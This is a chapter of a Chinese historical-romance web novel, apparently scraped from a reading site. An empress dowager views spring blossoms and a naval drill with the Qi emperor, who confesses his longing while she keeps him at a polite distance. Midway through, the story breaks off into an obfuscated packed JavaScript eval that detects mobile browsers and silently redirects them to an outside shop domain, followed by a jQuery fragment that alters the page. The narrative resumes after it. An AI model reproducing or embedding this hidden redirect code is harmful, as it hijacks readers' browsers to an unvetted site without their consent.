自与何辞白逛完街市回来，近两日陈晚荣一面忙着与齐国这头敲定通商协议的细则；一面又与云岚一起整理走访女商的见闻，想着回去好有个参照。
不觉间已至三月。一日清晨，陈晚荣正对着铜镜梳妆，忽听外头有宫人来报，说是齐皇陛下今日请太后前往海边校场，一同检阅齐国水师。
陈晚荣手上动作未停，只多看了眼镜中的自己。
她的五官其实生得偏稚气，寻常为了撑起朝堂上庄严太后的仪态，往往会吩咐云岚将妆施得浓一些，眼角也会刻意往上扬一扬。
但今日她自己上手，便只略施了薄妆，脂粉气淡下去后，眉眼间尚存的稚意也就不自觉流露出来，瞧着倒是有了几分昔日在丞相府时的影子。
陈晚荣没在意这些，冲着镜子中的自己笑了笑，又想起方才祁自缘的邀约，心中已暗自揣度了起来。
同观水师检阅一事，恰好能跟这两日的议题对上，她没有拒绝的道理。只是这份“恰好”背后究竟是谁的手笔，她心知肚明，也乐得顺着那人的意思演下去。
这般想着，她随手就从柜中择了件妃色的衣裙换上。
这件还是几日前何辞白亲自为她挑的，说是衬她肤色。此时上身，穿起来确比大宁的衣裳要松快些。
对着镜子看了最后一眼，确认并无疏漏后，陈晚荣点了点头，便转身往殿外走去。
临行前，她照例同祁自缘会了一面，注意到他的视线似在那件妃色的齐国裙裳上反复停了好几回，心中好笑，面上却仍保持着平日那份淡然，简要交谈几句后，便上了那辆为她备好的马车。
齐都靠海，气候温暖湿润，沿途的花也比大宁开得要早些。
经过一处街市时，陈晚荣掀帘，见道旁的海棠已开作一片，远远看去，好似从天边落下的粉色云雾，一片一片簇拥着，竞相开在了枝头。
这几日她在齐国待着，倒也待出了几分闲心，此时既起了兴致，索性差人往祁自缘那头的马车知会了一声，便自个提着裙摆，下车赏花去了。
……
“太后说，想在城中赏一赏花，大约要晚些到，还请陛下先行。”
侍卫这头话音刚落，祁自缘已将手中呈报放下，随手搁在了一旁。
“朕去寻她。”
语罢，他叩了叩车壁，等驭者停稳后，他便掀帘，径直下了车，全然不顾后头侍卫一脸惊异的神情。
齐都现下海棠正盛，甫一入眼，满街都是盈盈的粉。
他记得她今日身上穿的也是这个色，唯恐寻不见人，步子也下意识放慢了些，目光掠过那一片片海棠下，急切地搜寻着那抹妃色身影。
临至街头的一处转角时，他忽然听到一阵笑声。
软软的，带着齐国的乡音，听着似是哪家的孩童。
随后是一截妃色的裙摆，随着视野逐渐开阔，也缓缓在他面前铺开。
“姐姐，放在这儿。”（齐语）
祁自缘抬眼，几步外，陈晚荣正背对着他站在花树下，身前则多了个刚及她腰身的小姑娘，手中还拿着一朵新摘的花。
暖阳透过枝叶悉数洒下，恰在她面上落了一片海棠花影，风过时，花影便携着那点碎光晃啊晃，晃过那半边姣好的侧颜，最后轻轻地，拨在了他的心上。
小姑娘仍在絮絮叨叨同她说些什么，她没听懂，微微弯腰，似是想要听得更清楚些。
却在这时，小姑娘忽然踮起脚，将那朵粉色的海棠别在了陈晚荣鬓发间，然后拍手笑道。
“好看，真好看，姐姐真是我见过最好看的人儿！”（齐语）
她愣了愣，但看小姑娘面上神情，倒也明白了对方在说什么，嘴角微扬，一双桃花眼也随之弯起。
祁自缘的脚步不知何时已停下来，立在原地，静静地盯着那抹妃色身影看了许久。
好看。
他听见自己的心也跟着应了一声。
再回过神时，陈晚荣已注意到了他的视线，转过身，神情也恢复如常。
“齐皇陛下。”
她唤了他一声，声音平静，客气得如惯常待他一般。
祁自缘放在身侧的手微不可闻地蜷了一下，随即走了几步，站定在她身前。
“这海棠是齐都一绝，太后既有兴致，朕便陪太后走一趟。”
她的眼底闪过一丝诧异，倒也没拒绝，轻轻一笑，便道了声。
“好。”
……
大约是二人这身行头太过惹眼，并行不过片刻，便吸引来不少齐国百姓的目光。
陈晚荣并不在意，仍迈着不紧不慢的步子，好整以暇地仰头欣赏着四周那些海棠花。
路过一处花铺时，卖花的女掌柜看了二人一眼，忽而笑了，弯腰就从摊上挑了枝开得最艳的，隔着人群就想往陈晚荣那头递，可惜被祁自缘身旁的侍卫不动声色地拦了下来。
道旁有不少年轻的女子结伴而行，应都来赏春的，瞧见二人后，纷纷开始与同伴交头接耳，时不时的，就会有几句带笑的齐语随风一起飘过来。
陈晚荣虽听不大懂，但能猜到那些笑声里，多少都带着几分打趣的意味。
又一阵齐语传到耳中，这会儿总算有了几个她能听懂的词汇，零零碎碎拼凑在一起，大意说的是——
“瞧见没？陛下的目光一直胶在太后身上，一刻都舍不得移呢。”
她下意识就去看身旁那人，他却已偏过头去，侧脸神情看着虽冷，可耳后沿着脖颈的那一小块皮肤，不知何时已泛上了一层薄红。
陈晚荣轻笑一声，摇了摇头，移目继续去看四周那些海棠了。
走至城门附近时，远处隐约传来了几声号角，听着应是从水师校场那头传来的。
祁自缘脚步一顿，似是终于想起今日来的正经事，侧头看了她一眼。
“太后，花看够了吗？”
陈晚荣颔首。
“走吧。”
……
近海处，迎面最先来的是一阵海风，比在城中时刮得要烈，吹得她鬓角的海棠都摇摇欲坠起来。
陈晚荣下意识眯起眼，又往前走了一段，很快就看到了蔚蓝海面上的数艘战船。
那些战船与旌旗上绣着的战鹰一般，如数只铁铸的巨鸟，黑压压的一片，伏在海面上，颇有压城欲摧之势。
祁自缘引她登上一处高台，站定后，她的视野也开阔起来，放眼望去，目之所及，除却不远处的礁石与沙滩，便是整片齐国的海。
远处号角长鸣，鼓声骤起时，海面上的战船也动起来，原本一字排开的战船，竟在短短几声鼓点的间隙里，就齐齐调转了船头，迅速收拢成一道锋矢阵形，箭头直指外海。
陈晚荣盯着那海阵看了一会儿，忽然问：“齐国水师现有战船多少？”
祁自缘并未立刻作答，只等那阵鼓声彻底过去后，方才开口，语气随意。
“在编的，三百余艘。”
他顿了顿，眸光在战船和她身上流转一瞬，又道。
“太后方才看到的，不过是近海巡防的一支。”
陈晚荣听懂了他的言下之意，笑了笑，赞了句。
“齐国水师精锐，纵览当今，四海列国，无人敢出其右，本宫知晓。”她说着，复又看向更远的那片海，“只是本宫还有一问，从齐国至大宁新开的这条海路，水匪之患严重吗？”
“从前严重。”祁自缘也顺着她的目光看过去，“但那是两年前的事了。如今这条航道上，每隔一百里便设有一处齐国水寨，常年驻有巡船。”
两年前。
陈晚荣在心底迅速把这条过了一遍，忽然意识到，若当真依他所言，那自两年前祁自缘亲赴大宁签下协议的那刻起，他便已事先考虑到了这一层，并为她提前肃清了这条海道上可能存在的所有隐患。
她心下一动，正欲再说些什么，却听身侧那人沉声道。
“太后想要的通商之路，朕护得住。”
陈晚荣抬眼看他。
“这条商路上，没有朕护不住的船。”
那双如墨般深沉的眼眸中，此刻写满了不容置疑的笃定，唯独看向她时，眼底才会多出些翻腾的暗涌，好似熔岩下滚烫的岩浆。
被他这眼神看得不自在，陈晚荣索性偏过头，重新看向远处那些还在变阵的战船，沉默良久，才道。
“两国协议既成，大宁的商船日后走这条海道时，还需齐皇陛下多费些心。”
她的语气十分平静，与她平日在议事殿上的时候毫无分别。
祁自缘仍盯着她，半晌，忽然很轻地笑了一声，带着几分近乎无奈的了然。
她总是这样。无论他说什么，她总能风轻云淡地接过去，再用公事公办的语气给他还回来。
海风又大了些，再开口时，他的声音也比方才低了半分。
“水路，商船，通商协议——太后想要的这些，朕都能给。”
他顿了顿，目光仍落在她身上，确认她真的在听后，才一字一句道。
“这世上最好的东西，朕都能给你。”
四周霎时安静下来，唯余远处浪花拍岸，和海风灌耳的声响。
风将她鬓旁的海棠吹歪了些，陈晚荣抬手，顺势扶了一下后，终于看向他，盈盈一笑。
“齐皇陛下若说的是齐国的水师，和这条商路的话，那确是好东西。本宫此行，求得也是这些。”
她说着，目光也坦然与他对上。
祁自缘深深地看了她一眼，偏过头，没再接话。
……
操演既毕，水师将领登台复命，祁自缘只简短应了几句，便将陈晚荣送上了马车。
酉时已至，潮汐也沿着滩涂，一层一层徐徐漫上来。
走了一段后，前方的路逐渐变窄，直到车架的轮辙也陷进松软的沙地中时，驭者终于在前头为难地勒住了马。
祁自缘策马上前，看了一眼后，迅速调转马头。
再行至车驾旁时，陈晚荣已从车上下来，正仰着头朝四周张望，一抬眼，便迎上了他的目光。
祁自缘勒马，在她面前停下。
“前头那段，车驾难行。”
尔后他低头看她，伸手，近乎命令道——
“太后，上来。”
陈晚荣看了眼他的手，又不着痕迹地往车驾后方看了一眼，注意到那些争相朝这边看过来的齐国将士和朝臣们，心下不禁暗叹一声。
想来他在马上时，就应算准了此刻，知道依他对她的了解，她绝无可能当众拂了他的面子，所以才会在此时邀她同骑。
不过眼下，倒也没有比这更好的选择。也罢，那她这便遂了他的意。
没再犹豫，陈晚荣伸出手，借着他掌心的力道，配合着往上一跃，便与他同骑在了一匹马上。
……
她的手搭上来时，很轻，很暖，几乎要让他疑心，究竟是她真的握了上来，还是天边的夕阳垂怜，落了一寸光在他掌心。
却在他失神的片刻，她已在他身前坐定，目光也向前看去，落在远处那片被夕阳染红的海面上，神态安然。
她的身板挺得很直，后背与他隔了些距离，足够一层薄薄的海风穿膛而过。
可偏偏是那一截距离，却反让所有的触感都更为清晰。
他的小臂此时沿着她的腰身，环过她握住缰绳，低头看去，就好像他将她抱在了怀中。
她好香。
她的腰好细。
原来抱着她，是这样的感觉。
风将她鬓旁那几缕碎发拂过来，带着她身上那缕淡淡的花香，同他在杨柳堤上初次闻到的一模一样。
那香气他曾魂牵梦绕过无数次，如今却终于近在咫尺，轻轻扫过他的喉结、下颌，最后留下那一点令他心悸的痒意。
——她的头发好软。
她的发顶堪堪抵在他下颌处，有那么一瞬，他甚至想要不管不顾地埋进去，深深吸上一口。
风再次过来时，也吹动了她别在耳畔的那朵海棠。
他盯着那朵海棠看了一瞬，随后一点点向下，目光近乎贪婪地扫过她的耳尖，她沾了夕光被染作金色的眼睫，和那一点翘起来的鼻尖。
再往下，是她的唇，淡粉色的，唇缝抿成一条细细的线，看上去似乎能用什么撬开似的。
他没敢让视线在那处停留太久，略略往下移了一寸，恰在此时，她微仰起头，这一仰，便将整条颈线都从领口送了出来。
线条很细，从下颌一路滑至喉骨，再沿着脖颈的侧面缓缓没入衣襟——
在那之前，他的目光却先一步停了下来。
她的颈侧有一粒痣。
很小，搁在那一截白瓷似的皮肤上，像是谁不小心落了一点墨，从前他并未见过。
又或许见过。只是以往隔的太远，远到他并不被允许注意到她身上这样细微的部分。
可此时他们离得这样近。
近到他如果低下头，那粒痣与他的距离，甚至不够他念完一道奏疏。
他忽然想，如果他真的低头了呢？
那这粒痣绝不会再这般安生地留在她的脖颈上，而是会被反复厮磨，吮咬，直至被迫淹没在一片靡丽的绯红中。
缰绳在掌心勒出了一道深痕。
祁自缘艰难地移开双眼，看向远方。
马蹄踏过浅滩，溅起的水花沾上他的靴面，凉意漫上来时，总算将烧到喉头的燥意压下去几分。
她浑然不觉，仍安安静静坐在他身前，看着她的海。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816939|204799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
海风将她妃色的裙摆也吹得扬起来，长长的一截，甚至扬到了身后他看不到的地方。
刹那间，脑海中又浮出了另一个念头。
他看不见，那他身后的将士，和那些朝臣们呢？
他们会看见什么？
他们会看见这截妃色的裙摆——不，远不止这些。
他们会看见她穿着齐国的衣裳，坐在他的马上，被圈在他的怀中。
她此时看起来，多么像一个皇后。
——他的皇后。
这个念头在脑海中成形时，他的手无意识将缰绳扯得更紧了些，许是力道太过，引得身下那马都长嘶了一声。
她似是被马惊到，终于偏过头，看了他一眼后，又掠过他，目光在不远处骑马跟着的朝臣和将士身上停了一停，再收回来时，眼底也多了些赞许之意。
“齐皇陛下治下的齐国，当真是人才济济。旁的不说，就方才那水师变阵，令行禁止，这般精锐，绝非朝夕功夫可成。”
祁自缘盯着那双惑人的桃花眼看了许久，似在辨认其中到底存着多少真心。
确认完后，他才道。
“太后谬赞。”
陈晚荣颔首，正欲重新转回去，身侧环着她腰身的手却忽然收紧了些。
“不过说到人才济济，太后治下的大宁，近些年也不遑多让。尤其是，太后宫中，那座控鹤阁。”
陈晚荣浑身一僵，在那道烫人的目光移过来前，就迅速垂眼避了过去。
他却恍然未闻，低下头，一只手也从缰绳上撤下，扣在她腰侧，将她整个人往怀中按得更深，温热的气息也从耳后拂过来，一寸接着一寸，每一寸都比上回要更近半分。
“朕听闻，凡入阁之人，皆为太后亲自所选。然，朕有一事，始终不解。”
他的唇终于贴上了她的耳畔。
“太后的遴选标准里——究竟是哪一条，将朕排除在外了？”
陈晚荣豁然抬眼。
他用的分明是玩笑的语气，可那张脸上的神情，却认真到几乎可称之为虔诚。
就好像他不再是那个不可一世的君主，而是一个向神明祈求垂怜的信徒。
陈晚荣默了一瞬。
她承认，这一刻，她的心底确实翻涌上来一些隐秘的，阴暗到了极致的快意。
那双漆黑的眼眸里，如今只余了最后一点亮光。
她知道那点光该叫什么。
只可惜，她并不打算给他这份希望。
再看向他的时候，她已恢复了往日从容的姿态，只客客气气地，冲他回了一笑。
“齐皇陛下若对大宁的选才之法感兴趣，可以改日去大宁了解一番。”
这话一出，四周温度陡然一降。
扣在她腰侧的手松了些，而她也顺势转过头去，重新坐直了身体，再未回头。
……
她已经不再看他了。
可他的目光还留在她身上，留在她头顶那一涡浅浅的发旋上。
她拒绝了他。
拒绝了让他入控鹤阁的请求。
可在她扭头的瞬间，他几乎想将她的脸生生掰过来，逼她只得看他的眼睛，容他质问她。
凭什么？
凭什么那些卑微的戏子可以留在你身旁，亲近你，亵渎你，可你却单单容不下朕？
他们能给你什么？
朕能给你所有，给你一切。
脸，身份，权力，真心——究竟有哪里，朕比不得他们，以至连入你眼的资格都没有？
还是说，你在顾虑？
可你在顾虑什么？是觉得朕舍不下身段，舍不下皇帝的虚名，还是舍不下这万里江山？
他们能做的，陪着你，照顾你，服侍你——朕都能做，朕从不在意这些，朕甚至能比他们做得更好。
……可你为什么，独独不要我。
心在这一刻几乎被撕作两半，痛到他执缰的手都在发抖。
前方的浪涌拍在礁石上，碎成满天飞沫，凉意溅上面颊时，那一瞬的燥也被逼得退了几分。
他垂下眼，开始在心底逐一思量她拒绝的缘由。
是因为他的身份？——可她从不怕得罪他。
是因为两国之间的顾虑？——可他已经表明了会善待大宁。
是因为她舍不下权力？——可他从未想过夺她的权。
是因为她觉得他不够真心？——可他分明已经空了这么多年的后宫。
为了她，他日日辗转，只因睁眼她不在身侧；夜夜苦熬，只因那些唯她能召的隐秘欲念。
可在这时，他忽然想起曾经命暗探费尽心思搜罗来的，一条条只与她相关的密报。
她及笄那年，满门被灭。被弃冷宫，足有两年，每一子都落得心惊胆战，每一程都走得举步维艰。
或许，她只是在恐惧里待的太久，又失去过太多，才让她这般难以交付真心。
毕竟世人所言，戏文所唱，总是那帝王无心，薄情寡义。
而他看上去，偏又像极了史书中那些最后辜负情谊，罪该万死的负心君王，所以她才不肯信他。
那就是他做的还不够。
这个答案在内心落定时，他忽然觉得那些翻涌的躁意也都安静下来。
不够，那便再多做一些。
商路也好，水师也好，通商之策也好，她想要的，他都已经做了，日后还会接着做。
她若还不肯信他——
那他便一年一年地，继续证明给她看。
马蹄踏过最后一片浅滩，前方的路重新变得平坦起来。
祁自缘勒住缰绳，将马停稳后，翻身先一步下了马，转过身，又向她伸出手。
“到了。”
他的语气和来时并无分别，仍带着些许做东道主的周全。而那些方才翻涌的，灼烫的，几乎要从胸膛里溢出来的心绪，也好似化作了海风里一阵转瞬即逝的潮气，来时无声，去时更无痕。
陈晚荣搭上他的手，借力落地后，便迅速松开，冲他点了点头。
“多谢齐皇陛下。”
……
目送着陈晚荣的马车渐远后，何辞白策马跟上了祁自缘。
他的侧颜看上去和往日一般，仍维持着那副略显冷淡的帝王仪态。
但目光掠过他的掌心时，她忽然发现，上头不知何时，竟多出了一道勒痕。
勒痕很深，从虎口一直延伸到指根，应是缰绳攥得太紧，勒出来的。
何辞白没吭声，只默默令自己的马往后退了半步。
看来，陛下今日心绪不佳。
她移开双目，又望向远处。
西边落日已沉，霞光铺满整个城道时，也映出一地海棠。